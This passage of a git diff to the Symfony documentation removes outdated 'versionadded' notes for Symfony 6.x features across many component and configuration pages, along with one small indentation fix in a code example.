 .. _`PHP DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 9c90304c578..63ebcd7cc72 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -171,11 +171,6 @@ The configuration can now be written like this::
         ->end()
     ;
 
-.. versionadded:: 6.3
-
-    The support of enum values in ``enumNode()`` was introduced
-    in Symfony 6.3.
-
 Array Nodes
 ~~~~~~~~~~~
 
diff --git a/components/console/events.rst b/components/console/events.rst
index 6356816a9b2..1476a83f37d 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -156,11 +156,6 @@ Listeners receive a
     a signal. You can learn more about signals in the
     :ref:`the dedicated section <console-events_signal>`.
 
-    .. versionadded:: 6.4
-
-        Dispatching the ``ConsoleEvents::TERMINATE`` event on exit
-        signal was introduced in Symfony 6.4.
-
 .. _console-events_signal:
 
 The ``ConsoleEvents::SIGNAL`` Event
@@ -207,11 +202,6 @@ method::
         $event->abortExit();
     });
 
-.. versionadded:: 6.3
-
-    The ``setExitCode()``, ``getExitCode()`` and ``abortExit()`` methods were introduced
-    in Symfony 6.3.
-
 .. tip::
 
     All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
@@ -262,11 +252,6 @@ handle all signals e.g. to do some tasks before terminating the command.
     :method:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap::getSignalName`
     method.
 
-    .. versionadded:: 6.4
-
-        The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
-        introduced in Symfony 6.4.
-
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php
diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 061b7616c8d..3beb4204622 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -132,7 +132,3 @@ precision (default ``1``) of the result::
     $formatter->truncate(125);       // 2 mins
     $formatter->truncate(125, 2);    // 2 mins, 5 secs
     $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
-
-.. versionadded:: 6.4
-
-    The support for exact times were introduced in Symfony 6.4.
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 58f1fba37ff..a501d39fa14 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -69,10 +69,6 @@ that starting point::
     // displays the progress bar starting at 25 completed units
     $progressBar->start(null, 25);
 
-.. versionadded:: 6.2
-
-    The option to start a progress bar at a certain point was introduced in Symfony 6.2.
-
 .. tip::
 
     If your platform doesn't support ANSI codes, updates to the progress
@@ -375,10 +371,6 @@ with the ``setPlaceholderFormatter`` method::
         return $progressBar->getMaxSteps() - $progressBar->getProgress();
     });
 
-.. versionadded:: 6.3
-
-    The ``setPlaceholderFormatter()`` method was introduced in Symfony 6.3.
-
 Custom Messages
 ~~~~~~~~~~~~~~~
 
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index fcc52e0e7a4..6d86cbc6130 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -175,10 +175,6 @@ The output of this command will be:
     | Author: Charles Dickens      |
     +------------------------------+
 
-.. versionadded:: 6.1
-
-    Support for vertical rendering was introduced in Symfony 6.1.
-
 The table style can be changed to any built-in styles via
 :method:`Symfony\\Component\\Console\\Helper\\Table::setStyle`::
 
diff --git a/components/css_selector.rst b/components/css_selector.rst
index 94561cec9bd..c09f80a3cf4 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -94,10 +94,6 @@ Pseudo-classes are partially supported:
   ``li:first-of-type``) but not with the ``*`` selector).
 * Supported: ``*:only-of-type``, ``*:scope``.
 
-.. versionadded:: 6.3
-
-    The support for ``*:scope`` was introduced in Symfony 6.3.
-
 Learn more
 ----------
 
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 8fe7b0242e5..3787c686982 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -278,10 +278,6 @@ The parameter being deprecated must be set before being declared as deprecated.
 Otherwise a :class:`Symfony\\Component\\DependencyInjection\\Exception\\ParameterNotFoundException`
 exception will be thrown.
 
-.. versionadded:: 6.3
-
-    The ``ContainerBuilder::deprecateParameter()`` method was introduced in Symfony 6.3.
-
 .. note::
 
     Just registering an extension with the container is not enough to get
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 4440a35f0ea..ac859efac91 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -229,11 +229,6 @@ Access the value of the first node of the current selection::
     // but you can get the unchanged text by passing FALSE as argument
     $text = $crawler->filterXPath('//body/p')->innerText(false);
 
-.. versionadded:: 6.3
-
-    The removal of whitespace characters by default in ``innerText()`` was
-    introduced in Symfony 6.3.
-
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');
@@ -245,11 +240,6 @@ Access the attribute value of the first node of the current selection::
 
         $class = $crawler->filterXPath('//body/p')->attr('class', 'my-default-class');
 
-    .. versionadded:: 6.4
-
-        The possibility to specify a default value to the ``attr()`` method
-        was introduced in Symfony 6.4.
-
 Extract attribute and/or node values from the list of nodes::
 
     $attributes = $crawler
@@ -672,10 +662,6 @@ parser, set its ``useHtml5Parser`` constructor argument to ``true``::
 By doing so, the crawler will use the HTML5 parser provided by the `masterminds/html5`_
 library to parse the documents.
 
-.. versionadded:: 6.3
-
-    The ``useHtml5Parser`` argument was introduced in Symfony 6.3.
-
 Learn more
 ----------
 
diff --git a/components/expression_language.rst b/components/expression_language.rst
index a08e77b01ea..a10ad6cfe1b 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -92,10 +92,6 @@ can chain multiple coalescing operators.
 * ``foo[3] ?? 'no'``
 * ``foo.baz ?? foo['baz'] ?? 'no'``
 
-.. versionadded:: 6.2
-
-    The null-coalescing operator was introduced in Symfony 6.2.
-
 Passing in Variables
 --------------------
 
diff --git a/components/finder.rst b/components/finder.rst
index 27dd6709b6d..ecf19fc1fe1 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -340,11 +340,6 @@ Sort the results by name, extension, size or type (directories first, then files
     $finder->sortBySize();
     $finder->sortByType();
 
-.. versionadded:: 6.2
-
-    The ``sortByCaseInsensitiveName()``, ``sortByExtension()`` and ``sortBySize()``
-    methods were introduced in Symfony 6.2.
-
 .. tip::
 
     By default, the ``sortByName()`` method uses the :phpfunction:`strcmp` PHP
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 18d64d6b467..5c6d0dba0c7 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -145,11 +145,6 @@ has some methods to filter the input values:
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getString`
     Returns the parameter value as a string;
 
-.. versionadded:: 6.3
-
-    The ``ParameterBag::getEnum()`` and ``ParameterBag::getString()`` methods
-    were introduced in Symfony 6.3.
-
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.
     If invalid values are found, a
@@ -220,11 +215,6 @@ wrapping this data::
 
     $data = $request->getPayload();
 
-.. versionadded:: 6.3
-
-    The :method:`Symfony\\Component\\HttpFoundation\\Request::getPayload`
-    method was introduced in Symfony 6.3.
-
 Identifying a Request
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -389,10 +379,6 @@ use the ``isPrivateIp()`` method from the
     $isPrivate = IpUtils::isPrivateIp($ipv6);
     // $isPrivate = false
 
-.. versionadded:: 6.3
-
-    The ``isPrivateIp()`` method was introduced in Symfony 6.3.
-
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -562,11 +548,6 @@ call::
         'etag'             => 'abcdef',
     ]);
 
-.. versionadded:: 6.1
-
-    The ``stale_if_error`` and ``stale_while_revalidate`` options were
-    introduced in Symfony 6.1.
-
 To check if the Response validators (``ETag``, ``Last-Modified``) match a
 conditional value specified in the client Request, use the
 :method:`Symfony\\Component\\HttpFoundation\\Response::isNotModified`
@@ -629,11 +610,6 @@ represented by a PHP callable instead of a string::
 Streaming a JSON Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` class was
-    introduced in Symfony 6.3.
-
 The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` allows to
 stream large JSON responses using PHP generators to keep the used resources low.
 
@@ -646,9 +622,9 @@ containing JSON serializable data::
 
     // any method or function returning a PHP Generator
     function loadArticles(): \Generator {
-         yield ['title' => 'Article 1'];
-         yield ['title' => 'Article 2'];
-         yield ['title' => 'Article 3'];
+        yield ['title' => 'Article 1'];
+        yield ['title' => 'Article 2'];
+        yield ['title' => 'Article 3'];
     };
 
     $response = new StreamedJsonResponse(
@@ -723,10 +699,6 @@ including generators::
         return new StreamedJsonResponse(loadArticles());
     }
 
-.. versionadded:: 6.4
-
-    The ``StreamedJsonResponse`` support of iterables was introduced in Symfony 6.4.
-
 .. _component-http-foundation-serving-files:
 
 Serving Files
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 32f66f9ac2a..435ded9063a 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -280,10 +280,6 @@ Another typical use-case for this event is to retrieve the attributes from
 the controller using the :method:`Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::getAttributes`
 method. See the Symfony section below for some examples.
 
-.. versionadded:: 6.2
-
-    The ``ControllerEvent::getAttributes()`` method was introduced in Symfony 6.2.
-
 Listeners to this event can also change the controller callable completely
 by calling :method:`ControllerEvent::setController <Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::setController>`
 on the event object that's passed to listeners on this event.
@@ -343,13 +339,6 @@ of arguments that should be passed when executing that callable.
     ``ValueResolverInterface`` yourself and passing this to the
     ``ArgumentResolver``, you can extend this functionality.
 
-    .. versionadded:: 6.2
-
-        The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
-        6.2, you had to use the
-        :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
-        which defines different methods.
-
 .. _component-http-kernel-calling-controller:
 
 5) Calling the Controller
diff --git a/components/intl.rst b/components/intl.rst
index 3981062f5b7..46146e47e1b 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -210,10 +210,6 @@ numeric country codes::
     $exists = Countries::numericCodeExists('250');
     // => true
 
-.. versionadded:: 6.4
-
-    The support for numeric country codes was introduced in Symfony 6.4.
-
 Locales
 ~~~~~~~
 
@@ -397,10 +393,6 @@ to catching the exception, you can also check if a given timezone ID is valid::
 Emoji Transliteration
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The Emoji transliteration feature was introduced in Symfony 6.2.
-
 The ``EmojiTransliterator`` class provides a utility to translate emojis into
 their textual representation in all languages based on the `Unicode CLDR dataset`_::
 
@@ -448,10 +440,6 @@ Symfony emoji data files using the PHP ``zlib`` extension:
     # adjust the path to the 'compress' binary based on your application installation
     $ php ./vendor/symfony/intl/Resources/bin/compress
 
-.. versionadded:: 6.3
-
-    The ``compress`` binary was introduced in Symfony 6.3.
-
 Learn more
 ----------
 
diff --git a/components/lock.rst b/components/lock.rst
index 1c87942bb34..9e854ab89a6 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -553,11 +553,6 @@ the command:
 
     $ php bin/console make:migration
 
-.. versionadded:: 6.3
-
-    The automatic table generation when running the ``make:migration`` command
-    was introduced in Symfony 6.3.
-
 If you prefer to create the table yourself and it has not already been created, you can
 create this table explicitly by calling the
 :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.
@@ -610,10 +605,6 @@ store locks and does not expire.
 RedisStore
 ~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    ``\Relay\Relay`` support was introduced in Symfony 6.3.
-
 The RedisStore saves locks on a Redis server, it requires a Redis connection
 implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster``, ``\Relay\Relay`` or
 ``\Predis`` classes. This store does not support blocking, and expects a TTL to
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 46b0ee6d542..ddbdb878f4d 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -862,10 +862,6 @@ if an unknown option is passed. You can ignore not defined options by using the
         'version'  => '1.2.3'
     ]);
 
-.. versionadded:: 6.3
-
-    The ``ignoreUndefined()`` method was introduced in Symfony 6.3.
-
 Chaining Option Configurations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index bfa69893bb9..0e92c345ad1 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -291,10 +291,6 @@ Here is a summary that should help you pick the right configuration:
 Ignoring Deprecations
 .....................
 
-.. versionadded:: 6.1
-
-    The ``ignoreFile`` feature was introduced in Symfony 6.1.
-
 If your application has some deprecations that you can't fix for some reasons,
 you can tell Symfony to ignore them.
 
@@ -541,10 +537,6 @@ allows you to mock the PHP's built-in time functions ``time()``, ``microtime()``
 function ``date()`` is mocked so it uses the mocked time if no timestamp is
 specified.
 
-.. versionadded:: 6.2
-
-    Support for mocking the ``hrtime()`` function was introduced in Symfony 6.2.
-
 Other functions with an optional timestamp parameter that defaults to ``time()``
 will still use the system time instead of the mocked time. This means that you
 may need to change some code in your tests. For example, instead of ``new DateTime()``,
@@ -741,10 +733,6 @@ reason, this component also provides mocks for these PHP functions:
 * :phpfunction:`trait_exists`
 * :phpfunction:`enum_exists`
 
-.. versionadded:: 6.3
-
-    The ``enum_exists`` function was introduced in Symfony 6.3.
-
 Use Case
 ~~~~~~~~
 
@@ -816,10 +804,6 @@ PHP 8.1 and later, calling ``class_exists`` on a enum will return ``true``.
 That's why calling ``ClassExistsMock::withMockedEnums()`` will also register the enum
 as a mocked class.
 
-.. versionadded:: 6.3
-
-    The ``enum_exists`` function was introduced in Symfony 6.3.
-
 Troubleshooting
 ---------------
 
diff --git a/components/process.rst b/components/process.rst
index 158b8d0bd5a..999dd9d1f2e 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -413,10 +413,6 @@ instead::
 Executing a PHP Child Process with the Same Configuration
 ---------------------------------------------------------
 
-.. versionadded:: 6.4
-
-    The ``PhpSubprocess`` helper was introduced in Symfony 6.4.
-
 When you start a PHP process, it uses the default configuration defined in
 your ``php.ini`` file. You can bypass these options with the ``-d`` command line
 option. For example, if ``memory_limit`` is set to ``256M``, you can disable this
diff --git a/components/property_access.rst b/components/property_access.rst
index c2a911e9b8e..1f3f28a6a1b 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -89,11 +89,6 @@ You can also use multi dimensional arrays::
 
     Right square brackets ``]`` don't need to be escaped in array keys.
 
-    .. versionadded:: 6.3
-
-        Escaping dots and left square brackets in a property path was
-        introduced in Symfony 6.3.
-
 Reading from Objects
 --------------------
 
@@ -236,10 +231,6 @@ is to mark all nullable properties with the nullsafe operator (``?``)::
     // no longer evaluated and null is returned immediately without throwing an exception
     var_dump($propertyAccessor->getValue($comment, 'person?.firstname')); // null
 
-.. versionadded:: 6.2
-
-    The ``?`` nullsafe operator was introduced in Symfony 6.2.
-
 .. _components-property-access-magic-get:
 
 Magic ``__get()`` Method
diff --git a/components/property_info.rst b/components/property_info.rst
index d5699ea1bab..38e00b5dfc1 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -229,12 +229,6 @@ works. It assumes camel case style method names following `PSR-1`_. For example,
 both ``myProperty`` and ``my_property`` properties are readable if there's a
 ``getMyProperty()`` method and writable if there's a ``setMyProperty()`` method.
 
-.. versionadded:: 6.4
-
-    In Symfony versions prior to 6.4, snake case properties (e.g. ``my_property``)
-    were not writable by camel case methods (e.g. ``setMyProperty()``). You had
-    to define method names with underscores (e.g. ``setMy_property()``).
-
 .. _property-info-initializable:
 
 Property Initializable Information
diff --git a/components/serializer.rst b/components/serializer.rst
index f879d5167c6..630ff1cf3b8 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -712,10 +712,6 @@ automatically detect and use it to serialize related attributes.
 The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``,
 and ``can``.
 
-.. versionadded:: 6.1
-
-    The support of canners (methods prefixed by ``can``) was introduced in Symfony 6.1.
-
 Using Callbacks to Serialize Properties with Object Instances
 -------------------------------------------------------------
 
@@ -811,11 +807,6 @@ The Serializer component provides several built-in normalizers:
     combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``,
     ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
 
-    .. versionadded:: 6.2
-
-        The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its
-        values were introduced in Symfony 6.2.
-
 :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
     This normalizer works with classes that implement :phpclass:`JsonSerializable`.
 
@@ -852,10 +843,6 @@ The Serializer component provides several built-in normalizers:
     By default, an exception is thrown when data is not a valid backed enumeration. If you
     want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
 
-    .. versionadded:: 6.3
-
-        The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3.
-
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
@@ -896,11 +883,6 @@ The Serializer component provides several built-in normalizers:
     setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer
     context option.
 
-    .. versionadded:: 6.4
-
-        The :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-        was introduced in Symfony 6.4.
-
 .. note::
 
     You can also create your own Normalizer to use another structure. Read more at
@@ -1030,10 +1012,6 @@ Option                           Description
 ``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
 ===============================  ==========================================================================================================  ================================
 
-.. versionadded:: 6.4
-
-    The support of ``json_decode_detailed_errors`` was introduced in Symfony 6.4.
-
 The ``CsvEncoder``
 ~~~~~~~~~~~~~~~~~~
 
@@ -1252,10 +1230,6 @@ you can use "context builders" to define the context using a fluent interface::
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
-.. versionadded:: 6.1
-
-    Context builders were introduced in Symfony 6.1.
-
 .. note::
 
     The Serializer component provides a context builder
diff --git a/components/string.rst b/components/string.rst
index ca289c70ba4..f743849fd19 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -565,10 +565,6 @@ the injected slugger is the same as the request locale::
 Slug Emojis
 ~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The Emoji transliteration feature was introduced in Symfony 6.2.
-
 You can transform any emojis into their textual representation::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
@@ -603,10 +599,6 @@ If you want to strip emojis from slugs, use the special ``strip`` locale::
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-and-a';
 
-.. versionadded:: 6.3
-
-    The option to strip emojis from slugs was introduced in Symfony 6.3.
-
 .. _string-inflector:
 
 Inflector
diff --git a/components/uid.rst b/components/uid.rst
index 52403513995..26fd32989a9 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -70,10 +70,6 @@ to create each type of UUID::
     // UUIDv8 uniqueness will be implementation-specific and SHOULD NOT be assumed.
     $uuid = Uuid::v8();
 
-.. versionadded:: 6.2
-
-    UUID versions 7 and 8 were introduced in Symfony 6.2.
-
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::
 
@@ -184,10 +180,6 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
     $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
 
-.. versionadded:: 6.2
-
-    The ``toHex()`` method was introduced in Symfony 6.2.
-
 Working with UUIDs
 ~~~~~~~~~~~~~~~~~~
 
@@ -247,10 +239,6 @@ type, which converts to/from UUID objects automatically::
         // ...
     }
 
-.. versionadded:: 6.2
-
-    The ``UuidType::NAME`` constant was introduced in Symfony 6.2.
-
 There's also a Doctrine generator to help auto-generate UUID values for the
 entity primary keys::
 
@@ -387,10 +375,6 @@ Use these methods to transform the ULID object into different bases::
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"
     $ulid->toHex();     // string(34) "0x0171069d593d97d38b3e23d06de5b308"
 
-.. versionadded:: 6.2
-
-    The ``toHex()`` method was introduced in Symfony 6.2.
-
 Working with ULIDs
 ~~~~~~~~~~~~~~~~~~
 
@@ -434,10 +418,6 @@ type, which converts to/from ULID objects automatically::
         // ...
     }
 
-.. versionadded:: 6.2
-
-    The ``UlidType::NAME`` constant was introduced in Symfony 6.2.
-
 There's also a Doctrine generator to help auto-generate ULID values for the
 entity primary keys::
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index d9d3543a641..d9b63a147d5 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -86,11 +86,6 @@ configure the locations of these files::
 The AttributeLoader
 -------------------
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader`
-    was introduced in Symfony 6.4.
-
 The component provides an
 :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader` to get
 the metadata from the attributes of the class. For example::
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 6b336ad1d3e..06adc3a0021 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -485,10 +485,6 @@ then its dump representation::
 .. image:: /_images/components/var_dumper/10-uninitialized.png
     :alt: Dump output where the uninitialized property is represented by a question mark followed by the type definition.
 
-.. versionadded:: 6.4
-
-    Displaying uninitialized variables information was introduced in Symfony 6.4.
-
 .. _var-dumper-advanced:
 
 Advanced Usage
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 12c1396b0f1..17e2112210a 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -177,10 +177,6 @@ populated by using the special ``"\0"`` property name to define their internal v
         "\0" => [$inputArray],
     ]);
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\VarExporter\\Hydrator` was introduced in Symfony 6.2.
-
 Creating Lazy Objects
 ---------------------
 
@@ -288,10 +284,6 @@ Ghost objects unfortunately can't work with abstract classes or internal PHP
 classes. Nevertheless, the VarExporter component covers this need with the help
 of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` was introduced in Symfony 6.2.
-
 .. _var-exporter_virtual-proxies:
 
 LazyProxyTrait
@@ -357,10 +349,5 @@ Just like ghost objects, while you never query ``$processor->hash``, its value
 will not be computed. The main difference with ghost objects is that this time,
 a proxy of an abstract class was created. This also works with internal PHP class.
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\VarExporter\\LazyProxyTrait` and
-    :class:`Symfony\\Component\\VarExporter\\ProxyHelper` were introduced in Symfony 6.2.
-
 .. _`OPcache`: https://www.php.net/opcache
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
diff --git a/components/yaml.rst b/components/yaml.rst
index 37d8064f235..ab4c0b6be22 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -355,10 +355,6 @@ and the special ``!php/enum`` syntax to parse them as proper PHP enums::
     // the value of the 'foo' key is a string because it missed the `!php/enum` syntax
     // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => 'foo'];
 
-.. versionadded:: 6.2
-
-    The support for PHP enumerations was introduced in Symfony 6.2.
-
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -422,10 +418,6 @@ By default, digit-only array keys are dumped as integers. You can use the
     $dumped = Yaml::dump([200 => 'foo'], 2, 4, Yaml::DUMP_NUMERIC_KEY_AS_STRING);
     // '200': foo
 
-.. versionadded:: 6.3
-
-    The ``DUMP_NUMERIC_KEY_AS_STRING`` flag was introduced in Symfony 6.3.
-
 Syntax Validation
 ~~~~~~~~~~~~~~~~~
 
diff --git a/configuration.rst b/configuration.rst
index e4a923c5858..bcdebade23a 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -81,10 +81,6 @@ readable. These are the main advantages and disadvantages of each format:
     methods in the ``src/Kernel.php`` file to add support for the ``.xml`` file
     extension.
 
-    .. versionadded:: 6.1
-
-        The automatic loading of PHP configuration files was introduced in Symfony 6.1.
-
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -292,14 +288,6 @@ reusable configuration value. By convention, parameters are defined under the
             something@example.com
         </parameter>
 
-.. versionadded:: 6.2
-
-    Passing an enum case as a service parameter was introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The ``trim`` attribute was introduced in Symfony 6.3.
-
 Once defined, you can reference this parameter value from any other
 configuration file using a special syntax: wrap the parameter name in two ``%``
 (e.g. ``%app.admin_email%``):
@@ -395,10 +383,6 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
     They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
     to declare some temporary parameters that won't be available later in the application.
 
-.. versionadded:: 6.3
-
-    Compile-time parameters were introduced in Symfony 6.3.
-
 .. seealso::
 
     Later in this article you can read how to
@@ -984,10 +968,6 @@ Use the ``debug:dotenv`` command to understand how Symfony parses the different
     # look for a specific variable passing its full or partial name as an argument
     $ php bin/console debug:dotenv foo
 
-.. versionadded:: 6.2
-
-    The option to pass variable names to ``debug:dotenv`` was introduced in Symfony 6.2.
-
 Additionally, and regardless of how you set environment variables, you can see all
 environment variables, with their values, referenced in Symfony's container configuration:
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 4f600a5b34b..eba9f4a482c 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -418,10 +418,6 @@ Symfony provides the following env var processors:
                     ->set(\RedisCluster::class, \RedisCluster::class)->args([null, '%env(shuffle:csv:REDIS_NODES)%']);
             };
 
-    .. versionadded:: 6.2
-
-        The ``env(shuffle:...)`` env var processor was introduced in Symfony 6.2.
-
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
 
@@ -782,10 +778,6 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
 
-    .. versionadded:: 6.2
-
-        The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
-
 ``env(defined:NO_FOO)``
     Evaluates to ``true`` if the env var exists and its value is not ``''``
     (an empty string) or ``null``; it returns ``false`` otherwise.
@@ -820,10 +812,6 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(defined:FOO)%');
 
-    .. versionadded:: 6.4
-
-        The ``env(defined:...)`` env var processor was introduced in Symfony 6.4.
-
 It is also possible to combine any number of processors:
 
 .. configuration-block::
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 890f3fc8b9c..26a332e4fdd 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -120,10 +120,6 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         $response->send();
         $kernel->terminate($request, $response);
 
-.. versionadded:: 6.1
-
-    The PHP attributes notation has been introduced in Symfony 6.1.
-
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:
 
@@ -338,10 +334,6 @@ add a service conditionally based on the ``foo`` value::
         }
     }
 
-.. versionadded:: 6.1
-
-    The ``AbstractExtension`` class was introduced in Symfony 6.1.
-
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:
 
diff --git a/console.rst b/console.rst
index 1f468327d61..136d4c7f8fe 100644
--- a/console.rst
+++ b/console.rst
@@ -67,14 +67,6 @@ command, for instance:
 Console Completion
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    Console completion for Fish was introduced in Symfony 6.1.
-
-.. versionadded:: 6.2
-
-    Console completion for Zsh was introduced in Symfony 6.2.
-
 If you are using the Bash, Zsh or Fish shell, you can install Symfony's
 completion script to get auto completion when typing commands in the
 terminal. All commands support name and option completion, and some can
@@ -356,10 +348,6 @@ method, which returns an instance of
 
     A new line is appended automatically when displaying information in a section.
 
-.. versionadded:: 6.2
-
-    The feature to limit the height of a console section was introduced in Symfony 6.2.
-
 Output sections let you manipulate the Console output in advanced ways, such as
 :ref:`displaying multiple progress bars <console-multiple-progress-bars>` which
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`
diff --git a/console/coloring.rst b/console/coloring.rst
index a481b7650ff..346e0818a41 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -56,10 +56,6 @@ Any hex color is supported for foreground and background colors. Besides that, t
     the nearest color depending on the terminal capabilities. E.g. ``#c0392b`` is
     degraded to ``#d75f5f`` in 256-color terminals and to ``red`` in 8-color terminals.
 
-    .. versionadded:: 6.2
-
-        The support for 256-color terminals was introduced in Symfony 6.2.
-
